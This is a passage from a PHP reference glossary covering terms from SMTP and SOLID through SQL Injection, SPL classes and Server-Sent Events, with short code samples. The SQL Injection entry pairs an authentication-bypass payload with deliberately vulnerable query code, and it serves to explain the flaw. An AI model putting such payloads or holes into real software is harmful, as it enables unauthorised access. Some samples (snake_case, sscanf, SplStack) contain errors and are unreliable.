- PHP does not have union-type narrowing built into the runtime in the sense that Kotlin’s compiler tracks flow.
Static analysis tools approximate smart-cast behaviour through flow-sensitive type inference, but this is a tool-level feature, not a language-engine feature.
<?php
// PHP runtime checks: no compiler-enforced narrowing.
function process(int|string $value): string {
if (is_string($value)) {
// SCA will narrow $value to string here,
// but the PHP engine itself does not enforce this at compile time.
return strtoupper($value);
}
// $value is int here: again, tools narrow, not the engine.
return (string) ($value * 2);
}
// instanceof narrows for IDEs and static analysers, not for the runtime.
function describe(object $obj): string {
if ($obj instanceof \DateTimeImmutable) {
// Tools know $obj is DateTimeImmutable; PHP does not enforce it statically.
return $obj->format('Y-m-d');
}
return get_class($obj);
}
?>
See Also
Related
Simple Mail Transfer Protocol (SMTP)
Simple Mail Transfer Protocol, aka SMTP, is the standard protocol used for sending emails across the internet. SMTP is responsible for the transmission of email messages from the sender’s mail server to the recipient’s mail server.
PHP sends emails with the mail function, which relies on the local SMTP server.
See Also
Related
Snake Case
Snake case, also written snake_case is a way of writing names without spaces, where:
- All the letters are set to lower case
- Each word is separated from the other by an underscore
The underscore letters create humps like a camel’s back: this is the origin of the name.
Snake case is often used for PHP native functions.
<?php
function to_lower(string $string): int {
// PHP native function
return mb_strtolower($string);
}
?>
See Also
Related
Snapshot
A snapshot captures the complete state of an object or aggregate at a specific point in time. It is commonly used as an optimization in event-sourced systems: instead of replaying the full event history to rebuild an aggregate, the system loads the latest snapshot and only replays events that occurred after it.
In testing, snapshot testing serializes the output of a component on the first run and stores it as a reference. Subsequent runs compare against this stored value, automatically detecting unintended changes to rendered output or computed results.
The Memento design pattern is the classical OOP formalization of the snapshot concept.
<?php
final class OrderSnapshot {
public function __construct(
public readonly string $orderId,
public readonly OrderStatus $status,
public readonly DateTimeImmutable $at,
public readonly int $lastEventSequence,
) {}
}
?>
See Also
Related
- Event Sourcing
- Immutable
- Serialization
- Test
- Design Pattern
- Object Persistence
- Domain Design Driven (DDD)
Related packages
Simple Network Management Protocol (SNMP)
SNMP stands for ‘Simple Network Management Protocol’. The SNMP extension provides a very simple and easily usable toolset for managing remote devices via the Simple Network Management Protocol.
<?php
$syscontact = snmp2_get('127.0.0.1', 'public', 'system.SysContact.0');
?>
See Also
Related
SNMP3
SNMP3, the SNMP extension, provides a very simple and easily usable toolset for managing remote devices via the Simple Network Management Protocol.
<?php
$syscontact = snmp2_get('127.0.0.1', 'public', 'system.SysContact.0');
?>
See Also
Related
Service-Oriented Architecture (SOA)
Service-Oriented Architecture, or SOA, is an architectural style where software is composed of discrete, reusable services that communicate over a network through well-defined interfaces. Each service encapsulates a specific business capability and can be consumed by other services or applications.
SOA predates microservices and typically operates at a coarser granularity. Services are usually coordinated by an Enterprise Service Bus, which handles routing, transformation, and orchestration. Communication is commonly done via SOAP or WSDL contracts, though REST-based SOA also exists.
SOA principles appear in SOAP-based web services ext-soap, service layer patterns inside frameworks, and large enterprise integrations where PHP acts as a consumer or producer of shared business services.
SOA and microservices share the goal of decomposing a system into services, but differ in coupling, governance, and deployment model. SOA tends toward centralised orchestration; microservices favour decentralised choreography.
<?php
// PHP as a SOAP service consumer in an SOA context
$client = new SoapClient('https://services.example.com/orders?wsdl');
$result = $client->getOrderStatus([
'orderId' => 42,
'customerId' => 100,
]);
echo $result->status; // 'shipped'
// PHP as a REST service in SOA
// Each endpoint maps to a shared business capability
// consumed by multiple internal applications
?>
See Also
Related
- Microservice
- Monolith
- Simple Object Access Protocol (SOAP)
- REST API
- API Gateway
- Separation Of Concerns
Simple Object Access Protocol (SOAP)
SOAP is the acronym for Simple Object Access Protocol. It is a messaging protocol to exchange structure data, based on XML.
PHP supports SOAP with a native extension called ext/soap.
<?php
// Example from the soap documentation in PHP
function Add($tusk,$ivory) {
return $tusk+$ivory;
}
class LocalSoapClient extends SoapClient {
function __construct($wsdl, $options) {
parent::__construct($wsdl, $options);
$this->server = new SoapServer($wsdl, $options);
$this->server->addFunction('Add');
}
function __doRequest($request, $location, $action, $version, $one_way = 0) {
ob_start();
$this->server->handle($request);
$response = ob_get_contents();
ob_end_clean();
return $response;
}
}
$trunk = new LocalSoapClient(NULL,
['location'=>'test://',
'uri'=>'http://testuri.org',
],
);
var_dump($trunk->Add(3,4));
?>
See Also
Related
Related packages
Socket Extension
sockets is the PHP extension that provides the low-level socket functions, such as socket_create(), socket_bind(), socket_listen(), socket_accept(), socket_connect() and socket_read(). It works with TCP, UDP and Unix domain sockets, in both blocking and non-blocking modes.
The extension is not enabled by default in every PHP build: it must be compiled in with --enable-sockets, or loaded at runtime. Check its presence with extension_loaded('sockets').
For the general notion of sockets, see the socket entry. This entry covers the PHP extension that implements them.
<?php
if (!extension_loaded('sockets')) {
die('The sockets extension is required' . PHP_EOL);
}
$server = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_bind($server, '127.0.0.1', 8080);
socket_listen($server);
$client = socket_accept($server);
socket_write($client, 'Hello' . PHP_EOL);
socket_close($client);
?>
See Also
Related
Socket
A socket refers to a communication endpoint that allows two processes to exchange data over a network. Sockets provide a mechanism for processes on different devices to communicate with each other, whether they are on the same machine or across the Internet.
PHP provides a set of functions for working with sockets, allowing developers to create both client and server applications that can communicate over networks using various protocols, including TCP and UDP.
<?php
$server = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_bind($server, '127.0.0.1', 8080);
socket_listen($server);
$client = socket_accept($server);
?>
See Also
Related
- Network
- Server
- User Datagram Protocol (UDP)
- TCP
- Polling
- Websocket
- C10K
- IMAP
- Non-blocking
- SSH2
- Inter-Process Communication (IPC)
- OSI Model
- Peer-to-Peer (P2P)
- ReactPHP
Related packages
Soft Delete
A soft delete marks a row as deleted, usually by setting a deleted_at timestamp or a boolean flag, instead of removing it from the table with a DELETE statement. The row physically stays in the database, so it can be restored, audited, or kept for referential integrity with rows that still reference it through a foreign key, while normal queries filter it out by default.
Most ORM provide it as a built-in behaviour: Laravel’s Eloquent offers the SoftDeletes trait, which scopes every query to exclude soft-deleted rows unless withTrashed() or onlyTrashed() is used, and Doctrine offers a similar extension. Route model binding and other lookups need to be made aware of this. A route bound to a soft-deleted row’s identifier should generally still resolve to a 404 unless the feature explicitly needs to reach trashed records.
Soft deletes trade storage growth and slightly more complex queries for an audit trail and the ability to undo a mistaken deletion. They do not replace a real backup, and any unique constraint on the table needs to account for the fact that a ‘deleted’ row is still occupying its value.
<?php
use Illuminate\Database\Eloquent\SoftDeletes;
class Project extends Model
{
use SoftDeletes; // adds a deleted_at column to the query scope
}
$project->delete(); // sets deleted_at, row is kept
Project::withTrashed(); // includes soft-deleted rows
Project::onlyTrashed(); // only soft-deleted rows
?>
See Also
Related
Software Transactional Memory (STM)
Software Transactional Memory, or STM, introduced by Shavit and Touitou in 1995, is a concurrency control mechanism that borrows the transactional semantics from databases and applies them to in-memory operations. Code that reads and writes shared variables is wrapped in a transaction block. The runtime tracks every read and write optimistically, without acquiring locks. When the transaction commits, the runtime checks whether any other transaction has modified the same memory locations. If a conflict is detected the transaction is rolled back and retried transparently; otherwise all writes are applied atomically.
The key properties of an STM transaction are:
- Atomic: all writes commit as a single unit or none of them do.
- Consistent: invariants are preserved across the transaction boundary.
- Isolated: concurrent transactions cannot observe each other’s intermediate state.
STM avoids the deadlocks and priority inversions of explicit lock-based code, and crucially allows transactions to be composed: two independently safe transactions can be merged into a larger safe transaction without modification.
PHP’s classic model, one thread per request with no shared state, makes STM largely irrelevant in traditional PHP. It becomes meaningful when using:
- The
parallelextension, which gives threads access to a\parallel\Channeland\parallel\Future, allowing structured inter-thread communication that approximates transactional semantics. - Swoole shared-memory tables, with
Swoole\Table, which provide atomic row-level operations across coroutines. - Database-backed
STM, where the database engine itself provides MVCC and serializable isolation as a proxy for in-memory STM.
<?php
// Closest PHP analogue: parallel\Future as an atomic unit of work
use parallel\{Runtime, Future};
$runtime = new Runtime();
// The closure runs in a separate thread; its return value is committed atomically
$future = $runtime->run(static function (): int {
$shared = 0;
// read-modify-write happens inside an isolated thread
$shared += 42;
return $shared;
});
echo $future->value(); // 42: result committed atomically
?>
See Also
Related
- Concurrency
- Atomic Operation
- Transaction
- Mutex
- Lock
- Shared Memory
- Race Condition
- Parallel
- Actor Model
SOLID
SOLID is an acronym for a set of OOP design principle. They were coined by Robert C. Martin, the famous Uncle Bob.
- S: single Responsibility Principle
- O: open Closed Principle
- L:
LiskovSubstitution Principle - I: interface Segregation Principle
- D: dependency Inversion Principle
Each principle may be used independently. Those principles are not dedicated to PHP, though they are used with PHP.
The opposite of SOLID is STUPID.
See Also
Related
- Single Responsability Principle (SRP)
- Open Closed Principle (OCP)
- LSP
- Interface Segregation Principle (ISP)
- Dependency Inversion (DIP)
- __invoke() Method
- Don’t Repeat Yourself (DRY)
- Responsability
- Separation Of Concerns
- Cohesion
- God Object
- KISS
- Object Calisthenics
Sort
Sorting is the action to put a list of object into a specific order. Sorting only applies to arrays: object cannot be sorted.
There are several ways to sort arrays: by value, by key, with k prefix, or by value while keeping the keys, with the a prefix, for associative.
Then, the sort may be ascending, descending, with the r prefix as as in reverse, or custom, with the u prefix, as in user sort. Custom sort is done with a closure or similar.
Based on the prefixes above, the following PHP native functions are available: sort(), rsort(), usort(), ksort(), krsort(), uksort(), asort(), uasort(). There is not ursort(), as the reverse part of the sort may be coded in the custom closure.
In case of identical values while sorting, which are values with the same order, the values are sorted in the same order than the original array. This behavior has changed in version 7.0.
It is also possible to sort using a natural sort, which is a way to sort strings like a human would read them: natsort().
The default comparison between elements may be adapted with sort()’s parameter: regular, numeric, string, locale, natural and with or without case.
<?php
$fruits = ['Orange1', 'orange2', 'Orange3', 'orange20'];
sort($fruits, SORT_NATURAL | SORT_FLAG_CASE);
foreach ($fruits as $key => $val) {
echo 'fruits[' . $key . '] = ' . $val . PHP_EOL;
}
?>
See Also
Related
State of the Art (SOTA)
State of the Art, abbreviated SOTA, refers to the highest level of development achieved in a field at a given point in time. It designates the best-performing approach, technique, or tool currently known, typically established by benchmarks or peer recognition.
In software engineering and AI, a method or model is described as SOTA when it outperforms all previously published alternatives on a standard benchmark. The term is relative and time-bound: today’s SOTA becomes tomorrow’s baseline.
In the PHP ecosystem, SOTA is used informally to refer to current best practices, the most capable available libraries, or the leading techniques for a given problem such as password hashing, serialisation, or static analysis.
See Also
Related
- Best Practices
- Benchmarking
- Artificial Intelligence (AI)
- Large Language Model (LLM)
- Machine Learning
- Quality
Source Of Truth
A source of truth is the one place designated to hold the authoritative version of a piece of data. Every other copy of that data, whether cached, denormalized, replicated, or displayed, is derived from it and must defer to it whenever a conflict appears.
The idea shows up at every scale of a PHP application. A configuration value should live in one file or environment variable, not be duplicated across several classes that might drift apart. A database column is the source of truth for an entity’s state, while a Redis cache or a computed property is only a disposable projection of it, and must be invalidated or recomputed whenever the underlying row changes. In event-sourced systems, the event-store itself is the source of truth: the current state is never trusted directly, but rebuilt on demand by replaying events.
Without a clear source of truth, systems accumulate silent inconsistencies: a cache that outlives its data, two services that each believe their own copy is authoritative, or a generated file that is manually edited and diverges from its generator. Establishing one explicitly is what makes reconciliation and debugging possible, since there is always a reference to compare against.
<?php
class UserRepository {
// The database row is the source of truth for the user's state.
public function getEmail(int $userId): string {
if ($cached = $this->cache->get("user:$userId:email")) {
return $cached; // a disposable projection, not the truth itself
}
$email = $this->pdo
->query("SELECT email FROM users WHERE id = $userId")
->fetchColumn();
$this->cache->set("user:$userId:email", $email, ttl: 300);
return $email;
}
}
?>
See Also
- How to establish a single source of truth (SSOT)
- What Is a Single Source of Truth and How to Build One for Seamless Data Management
Related
Source Code
Source code is the human-readable set of instructions written in a programming language. It is the primary artifact produced by developers and is later compiled, transpiled, or interpreted to produce an executable program.
Source code consists of .php files containing statements, expressions, class and function definitions, and HTML markup.
The term is also used in compound phrases such as open source and closed source.
Source code is distinct from bytecode, machine code, or other intermediate representations produced during compilation.
See Also
Related
Single Page Application (SPA)
An SPA is a web application or website that interacts with the user by dynamically rewriting the current page, rather than loading entire new pages from the server. This approach provides a smoother and more fluid user experience, as the page doesn’t need to be fully reloaded for every interaction. SPA often use JavaScript frameworks like htmx, React, Angular, or Vue.js to handle these dynamic updates and manage the application state.
See Also
Related
Space
Space is the character: it is an invisible character. It serves as a separator between tokens, and is mostly unused by PHP execution engine.
Space is part of a class of invisible characters, called whitespaces, along with new line \n, carriage return \r, line feed \f and horizontal tabulation \t.
Spaces inside PHP code usually carry no value but to separate visually elements in the code. They are sometimes important, as in designing floats, or not important, with some operators, $a []= 1 is actually the same as $a[] = 1 or $a [ ] = 1.
Spaces outside the PHP tags are important, as they are delivered as is to the client. Any white space set before the opening <?php PHP tag may be send before PHP code is executed, leading to the infamous Cannot modify header information - headers already sent.
<?php
// space is mostly ignored in PHP code
$string = ' a ';
// space is important inside literal, such as strings
echo 1 . 2; // here, space is important
echo 1.2; // here, space is important
?>
See Also
Related
Spaceship Operator
Spaceship operator is an operator which reports if a value is larger, equal or smaller than another value. It returns 1, 0 or -1 in each case, respectively.
The spaceship operator may be replaced by a - minus sign, if the compared values are correct. It may also be replaced with !=, since -1 and 1 are both cast to true.
The spaceship operator got its name from its resemblance to a flying saucer. Battleship operator, or death star operator do not exist.
<?php
$a = 1;
$b = 3;
print $a <=> $b;
?>
See Also
Related
SPARQL
SPARQL is a query language for RDF, Resource Description Framework, data stores.
SPARQL is used to query and manipulate data stored in RDF format, which represents information as subject-predicate-object triples.
PHP has libraries for interacting with SPARQL endpoints and RDF databases.
<?php
use BorderCloud\SPARQL\SparqlClient;
$endpoint = "https://query.example.com/sparql";
$sc = new SparqlClient();
$sc->setEndpointRead($endpoint);
//$sc->setMethodHTTPRead("GET");
$q = "select * where {?x ?y ?z.} LIMIT 5";
$rows = $sc->query($q, 'rows');
$err = $sc->getErrors();
if ($err) {
print_r($err);
throw new Exception(print_r($err, true));
}
foreach ($rows["result"]["variables"] as $variable) {
printf("%-20.20s", $variable);
echo '|';
}
echo "\n";
?>
See Also
Related
Related packages
Special Constant
The only special constant is the ::class constant. It has the same syntax as a class constant, hence the name. Yet, it is always defined, and holds the fully qualified name of the related class, interface, trait or enumeration.
It is convenient for class name resolution, in particular with namespaced classes.
The resulting name does not include the initial \.
::class is similar to the get_class() function, although it is compatible with static, self or parent.
The notion of special constant is distinct from the magic constants, such as __FILE__.
<?php
use Herd\Waterhole\Elephpant as Trunk;
echo Herd::class; // Herd
echo Trunk::class; // Herd\Waterhole\Elephpant
class Calf {
function trumpet() {
echo static::class; // Calf
}
}
echo $object::class; // similar to get_class($object)
?>
See Also
Related
Special Types
PHP defines some special types.
mixed: any typevoid: no returned valuecallable: may be used as a callbackiterable: may be used withforeach(), including arraynever: never returnsobject: object of any classparent: any of the parent class of the current class, excluding itself: the current classstatic: the current called class
Other special types are the scalar types.
<?php
function trumpet(iterable $herd) : never {
foreach ($herd as $calf) {
echo $calf;
}
die();
}
?>
See Also
Related
Specification
A specification is a formal description of expected behaviour, constraints, or requirements. In software development, the term covers several contexts.
In the specification pattern, a Domain-Driven Design tactical pattern, a specification encapsulates a business rule as an object that can be combined with other specifications using logical operators, like AND, OR, NOT. This allows business rules to be reused, combined, and tested in isolation.
In a broader sense, a specification can refer to an API specification, such as OpenAPI/Swagger, a language specification, such as the PHP language specification, a test specification, or an architecture decision record.
<?php
interface Specification
{
public function isSatisfiedBy(mixed $candidate): bool;
}
final class IsAdultUser implements Specification
{
public function isSatisfiedBy(mixed $candidate): bool
{
return $candidate instanceof User && $candidate->age >= 18;
}
}
final class AndSpecification implements Specification
{
public function __construct(
private readonly Specification $left,
private readonly Specification $right,
) {}
public function isSatisfiedBy(mixed $candidate): bool
{
return $this->left->isSatisfiedBy($candidate)
&& $this->right->isSatisfiedBy($candidate);
}
}
?>
See Also
Related
- Domain Design Driven (DDD)
- Design Pattern
- Business Logic
- Validation
- Design By Contract (DBC)
- Swagger
- Architectural Decision Record (ADR)
- Software Bill Of Material (SBOM)
Related packages
Spiral
Spiral has two main meanings in the PHP and software engineering world.
Spiral Framework is a high-performance PHP framework built on top of RoadRunner, a Go-based application server. Unlike traditional PHP frameworks that re-bootstrap the application on every request, Spiral keeps the application alive between requests in long-running workers, significantly reducing overhead. It is well-suited for microservices, APIs, and high-throughput applications.
Spiral model, or spiral development model is a software development lifecycle model that combines iterative development with systematic risk analysis. Each iteration, or spiral, passes through four phases: planning, risk analysis, engineering, and evaluation. It is particularly suited for large, complex, or high-risk projects where requirements may evolve.
Both concepts involve iterative, incremental progression: the spiral metaphor captures the idea of building upon previous cycles.
<?php
// Spiral Framework: defining a simple controller
namespace App\Controller;
use Spiral\Router\Annotation\Route;
final class HomeController
{
#[Route(route: '/', name: 'home')]
public function index(): string
{
return 'Hello from Spiral!';
}
}
?>
See Also
Related
Related packages
Standard PHP Library (SPL)
The Standard PHP Library, the SPL, is a collection of interfaces and classes that are meant to solve common problems.
SPL offers features, functions, classes and interfaces in many different fields: iterators, data structures, files, exceptions, and observers.
One of the most famous SPL features is the function spl_autoload_register(), which register an autoload handler.
<?php
// SPL and autoloading
spl_autoload_register(function ($class) {
include 'classes/' . $class . '.class.php';
});
if ($object instanceof Countable) {
$count = count($object);
} elseif ($object instanceof Traversable) {
$count = iterator_count($object);
} else {
print "Can't count this";
}
?>
See Also
Related
- Class Autoloading
- Datastack
- DirectoryIterator
- Iterator
- UnexpectedValueException
- Data Structure
- OuterIterator
- Overflow
- RecursiveIterator
- IteratorAggregate
- RecursiveArrayIterator
- RecursiveDirectoryIterator
- SeekableIterator
- SplDoublyLinkedList
- SplFileInfo
- SplFileObject
- SplObjectStorage
- SplObserver
- SplSubject
SplDoublyLinkedList
The SplDoublyLinkedList class is an implementation of the concept of doubly linked list. Each of the elements of the list keeps a reference on the previous and the following element in the list. A doubly linked list allows traversal forward and backward, though insertions and removals cost more to execute.
See Also
Related
SplFileInfo
SplFileInfo provides an object-oriented interface to query information about a file or directory: its path, type, permissions, size, modification time, and more.
It is the base class for SplFileObject, which also reads and writes the file, and DirectoryIterator. When iterating with FilesystemIterator or RecursiveDirectoryIterator, each entry is an SplFileInfo instance.
<?php
$file = new SplFileInfo('/var/www/html/index.php');
echo $file->getBasename(); // index.php
echo $file->getExtension(); // php
echo $file->getSize(); // size in bytes
echo $file->getMTime(); // last modification timestamp
if ($file->isReadable()) {
$obj = $file->openFile('r');
}
?>
See Also
Related
SplFileObject
SplFileObject is an SPL class that offers an object-oriented interface for reading and writing files. It extends SplFileInfo and implements SeekableIterator, allowing line-by-line iteration over a file with a foreach loop.
SplFileObject supports reading modes r and r+, writing modes w and a, and CSV parsing via the setFlags() method combined with the READ_CSV flag.
It is a convenient alternative to the procedural fopen()/fgets()/fclose() trio when an object-oriented approach is preferred.
<?php
$file = new SplFileObject('data.txt', 'r');
$file->setFlags(SplFileObject::DROP_NEW_LINE);
foreach ($file as $line) {
echo $line . PHP_EOL;
}
?>
See Also
Related
SplObjectStorage
SplObjectStorage provides a map from objects to arbitrary data, or a set of objects. Objects are used as keys, so each object appears only once. The associated data slot is optional.
It is commonly used to manage observers in the Observer pattern, to associate metadata with objects without modifying them, and as an object-keyed dictionary.
<?php
$storage = new SplObjectStorage();
$obj1 = new stdClass();
$obj2 = new stdClass();
$storage->attach($obj1, 'data for obj1');
$storage->attach($obj2, 'data for obj2');
foreach ($storage as $object) {
echo $storage->getInfo() . PHP_EOL;
}
?>
See Also
- How PHP’s SplObjectStorage Solves Problems You Didn’t Know You Had
- PHP SplObjectStorage attach() Function
Related
SplObserver
SplObserver is an SPL interface that represents the observer role in the Observer design pattern. Classes implementing SplObserver must define the update(SplSubject $subject) method, which is called whenever the observed subject notifies its observers of a state change.
SplObserver is used together with SplSubject: the subject maintains a list of observers and calls their update() method when its internal state changes.
<?php
class Logger implements SplObserver {
public function update(SplSubject $subject): void {
echo 'State changed: ' . $subject->getState() . PHP_EOL;
}
}
?>
See Also
Related
- Standard PHP Library (SPL)
- SplSubject
- Observer Design Pattern
- Interface
- Observer Pattern
- PHP Native Interfaces
SplStack
The SplStack class is part of the Standard PHP Library, SPL. It provides a stack data structure, Last‑In, First‑Out or LIFO, by extending SplDoublyLinkedList and setting the iteration mode to treat the list as a stack.
<?php
$q = new SplStack();
$q[] = 1;
$q[] = 2;
$q[] = 3;
foreach ($q as $elem) {
echo $elem.\n;
}
?>
See Also
Related
SplStorageObjects
The SplObjectStorage class provides a list for objects: it may also the values with the same object, making it an efficient object set.
SplObjectStorage is part of the Standard PHP Library, SPL, available since version 5.1. It stores a collection of objects, using the object itself, rather than its content, as the key: internally, it relies on the object’s unique handle, so two different instances with identical properties are treated as two distinct entries, while the same instance is always recognized, even if referenced through different variables. Each stored object may optionally be associated with a piece of data, making the structure work both as a set of unique objects, and as a map from objects to arbitrary values.
The class implements Countable, Iterator, ArrayAccess, and Serializable, so it supports count(), foreach iteration, and access through the array syntax, $storage[$object], in addition to its own dedicated methods such as attach(), detach(), and contains(). Because comparing objects by identity would otherwise require manual bookkeeping, typically an array keyed by spl_object_hash() or spl_object_id(), SplObjectStorage is commonly used to track visited nodes while walking a graph, to associate metadata with objects without modifying their own properties, or to implement the Identity Map pattern.
Since PHP 8.0, the WeakMap class offers a related, but distinct, capability: like SplObjectStorage, it maps objects to values, but it holds only weak references to its keys, allowing them to be garbage collected when no other reference to them remains, which SplObjectStorage does not do.
<?php
// As an object set
$s = new SplObjectStorage();
$o1 = new stdClass;
$o2 = new stdClass;
$o3 = new stdClass;
$s->attach($o1);
$s->attach($o2);
var_dump($s->contains($o1)); // true
var_dump($s->contains($o2)); // true
var_dump($s->contains($o3)); // false
?>
See Also
Related
SplSubject
SplSubject is an SPL interface that represents the subject, also known as the observable, role in the Observer design pattern. Classes implementing SplSubject must define three methods: attach(SplObserver $observer), detach(SplObserver $observer), and notify().
When the subject’s state changes, it calls notify(), which in turn calls update() on each attached SplObserver.
SplSubject is the counterpart of SplObserver: together they provide a built-in, standardised contract for the Observer pattern.
<?php
class EventSource implements SplSubject {
private SplObjectStorage $observers;
private string $state = '';
public function __construct() {
$this->observers = new SplObjectStorage();
}
public function attach(SplObserver $observer): void {
$this->observers->attach($observer);
}
public function detach(SplObserver $observer): void {
$this->observers->detach($observer);
}
public function notify(): void {
foreach ($this->observers as $observer) {
$observer->update($this);
}
}
public function setState(string $state): void {
$this->state = $state;
$this->notify();
}
public function getState(): string {
return $this->state;
}
}
?>
See Also
Related
- Standard PHP Library (SPL)
- SplObserver
- Observer Pattern
- Interface
- SplObjectStorage
- Domain
- Domain Name
- DOMChildNode
- DOMParentNode
- Error Suppression
- OAuth
- Option
- Random\CryptoSafeEngine
- Random\Engine
- RecursiveArrayIterator
- RecursiveDirectoryIterator
- Redirect
- Reflector
- SeekableIterator
- Sequence
- serialize_precision
- Serverless
- SessionHandlerInterface
- SessionIdInterface
- SessionUpdateTimestampHandlerInterface
- Set
- Shell Exec
- SplFileInfo
- PHP Native Interfaces
sprintf
sprintf() is a PHP native function, which format a string based on a format string, and one or more values.
sprintf() returns the formatted string, while printf() displays it immediately, and vprintf() writes the formatted string to a stream. There is also sscanf(), which parse the string, according to the format.
printf() is convenient to display text in command line, as it makes easy to use fillers and justification.
printf(\ also supports named arguments, which makes the format string more flexible.
<?php
// displays 123 with 9 characters, and fills with dots any empty characters
// ......123
echo sprintf("%'.9d\n", 123);
// same as above, without the echo command
printf("%'.9d\n", 123);
// same as above, without the echo command
vprintf("%'.9d\n", '......123');
?>
See Also
Related
Spy
A spy is a test double that wraps a real object, letting its original behavior run while recording how it was called. This means which methods, with which arguments, and how many times. Unlike a full mock, which replaces the dependency entirely, a spy is a partial substitute, so it is also called a partial mock.
Spies are useful when the actual behavior of the dependency is needed for the test to be meaningful, but the test also needs to assert on the interaction with that dependency afterward.
Because a spy keeps the real implementation active, it can have the same side effects as the original code, which makes it less isolating than a mock, but closer to the real production behavior.
See Also
Related
Related packages
Sqids
Sqids, formerly known as Hashids, is an open-source library that encodes one or more non-negative integers into short, YouTube-like alphanumeric strings, and decodes them back.
The generated strings are URL-safe, avoid common profanity by design, and can use a custom alphabet and a minimum length. Sqids is not a cryptographic function: the encoding is deterministic and reversible by anyone who knows the alphabet and salt used. It is therefore suited for obfuscating sequential integer IDs in URLs to prevent enumeration, not for security-sensitive encoding.
A key difference from UUID and ULID is that Sqids encode existing integers rather than generating new identifiers. They are most useful when a database already uses auto-increment primary keys and exposing those raw integers in URLs is undesirable.
<?php
use Sqids\Sqids;
$sqids = new Sqids();
$id = $sqids->encode([1, 2, 3]); // e.g. 'TmhB'
$numbers = $sqids->decode($id); // [1, 2, 3]
// Custom alphabet and minimum length
$sqids = new Sqids(alphabet: 'abcdefghij', minLength: 8);
echo $sqids->encode([42]); // e.g. 'dfidbicd'
?>
See Also
Related
- Universally Unique IDentifier (UUID)
- Universally Unique Lexicographically Sortable Identifier (ULID)
- Unique Identifier
- Identifier
- Obfuscation
- Slug
Related packages
SQL Database
A SQL database is a database server that processes data based on the SQL language.
PHP is able to connect to many databases, including SQLite3, MySQL, MariaDB, PostgreSQL, Oracle, MSSQL, etc.
See Also
Related
- Structured Query Language (SQL)
- MySQL
- PostgreSQL
- Oracle
- SQLite3
- Column Database
- Database
- Server
- Document Database
SQL Injection
A SQL injection is a vulnerability, where external data are used to change the behavior of a SQL query.
In the example below, $_GET are directly used inside the query. By using a clever string, as shown in comment, it is possible to bypass the whole condition and get access to any user.
Among the solutions to mitigate this problem: filter adequately the incoming data; use prepared statements.
<?php
// $_GET['name'] = ' OR 1 = 1 OR ';
$SQL_query = "SELECT * FROM users WHERE name=" . $_GET['name'] . " AND password=" . $_GET['pass'] . "";
$connexion->query($SQL_query);
?>
See Also
Related
- Semicolon ;
- Prepared Query
- Injection
- Static Application Security Testing (SAST)
- Second Order SQL Injection
- Data Flow Analysis (DFA)
- Insecure Direct Object Reference (IDOR)
- Image Injection
- LDAP Injection
Structured Query Language (SQL)
Structured Query Language, SQL, is a database query language, used to access and update data in a relational database management system.
PHP supports several RDBMS natively, such as: Mysql, Oracle, IBM db2, DBA, ODBC. PHP also offers a database abstraction layer, called PDO.
<?php
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli('example.com', 'user', 'password', 'database');
$mysqli->query('DROP TABLE IF EXISTS test');
$mysqli->query('CREATE TABLE test(id INT)');
?>
See Also
Related
- PHP Data Objects (PDO)
- Relational DataBase Management System (RDBMS)
- Object Relational Mapping (ORM)
- Active Record
- Prepared Query
- Query
- SQLite3
- SQL Database
- Graph Database
- N+1 Query Problem
- PostgreSQL
- Star *
- Escape Character
- mysqli
SQLite3
SQLite is a C-language library that implements a small, fast, self-contained, high-reliability, full-featured, SQL database engine.
The related extension is SQLite3. It allows the creation and usage of file-based or memory-based databases.
SQLite3 is also available with PDO, with the pdo_sqlite engine.
<?php
$db = new SQLite3('my.sqlite3');
$results = $db->query('SELECT bar FROM foo');
while ($row = $results->fetchArray()) {
var_dump($row);
}
?>
See Also
Related
- Structured Query Language (SQL)
- SQL Database
- PHP Data Objects (PDO)
- Relational DataBase Management System (RDBMS)
sqrt()
sqrt() is a PHP native function, that computes the square root of a number. That function takes a integer or a float, and returns the same types, depending on the actual value of the result.
sqrt() is not a particularly slow function. The opposite of sqrt() is ** 2, or pow($x, 2), or even $x * $x, where $x is the result of sqrt().
<?php
$a = 4;
var_dump(sqrt($a));
$b = 5;
var_dump(sqrt($b));
?>
See Also
Related
Square Brackets
Square brackets [ and ] are used with the array syntax: they delimit the offset in the index.
Square brackets are also used to define array: this is the short syntax array, where [1,2,3] is equivalent to array(1,2,3).
Square brackets are also used to embody the list() command: this is the short syntax array, where [$a, $b, $c] is equivalent to list($a,$b,$c). The list() and array() syntaxes are distinguished between one another as list() must be in a writing context, such as the left side of an assignation or the values of a foreach, while the array() must be in a reading context, such as the right side of an assignation, or parameter passing.
Finally, an empty square bracket is the append operator.
<?php
//Definition of arrays
$array = [1, 2, 3];
// Accessing element in the array
print $array[2]; // 3
// equivalent to list
[$a, $b] = $array;
$array[] = 4;
// $array == [1, 2, 3, 4];
?>
See Also
Related
Single Responsability Principle (SRP)
Single Responsibility Principle is a coding principle where one component is responsible for one task, and nothing more.
It particularly aims at avoid multiple responsibilities in code, where several tasks are performed at the same time. This means that any modifications to that method has an impact on each of the tasks, leading to potential spillovers.
Single Responsibility Principle relies on the possibility to identify one responsibility per component, and exclude any other.
See Also
Related
Static Single Assignment Form (SSA)
SSA stands for Static Single Assignment form. It is a property of code where each variable is assigned exactly once, making it easier to analyze and optimize.
SSA is used in the PHP engine, and it helps with several aspects of the execution engine:
- Performance:
SSAenables more efficient code optimization, such as dead code elimination, constant propagation, and loop optimizations. - JIT Compilation: the PHP JIT compiler, introduced in version 8.0, benefits from SSA to generate faster machine code.
See Also
Related
- Just In Time (JIT)
- Performance
- Static Code Analysis (SCA)
- Control Flow Graph (CFG)
- Intermediate Representation (IR)
sscanf()
sscanf() is a built-in PHP function that parses input from a string according to a format string.
sscanf() is the opposite feature of printf(): the same format may be used to parse or print data.
<?php
$date = 'January 01 2000';
list($month, $day, $year) = sscanf($date, '%s %d %d');
print('%s %d %d', $month, $day, $year);
?>
See Also
Related
Server Sent Event (SSE)
Server-Sent Events, or SSE, is a web technology that allows a server to push real-time updates to a client, often the web browser, over a single HTTP connection. Unlike WebSockets, which are bidirectional, SSE is unidirectional: the server sends data to the client, but the client cannot send data back to the server over the same connection.
<?php
header('Content-Type: text/event-stream');
header('Cache-Control: no-cache');
header('Connection: keep-alive');
// Send updates
while (true) {
$data = getLiveData(); // Fetch or generate data
echo "data: {$data}\n\n";
flush(); // Send output to the client immediately
sleep(1); // Wait before sending the next update
}
?>
See Also
Related
Secure Shell (SSH)
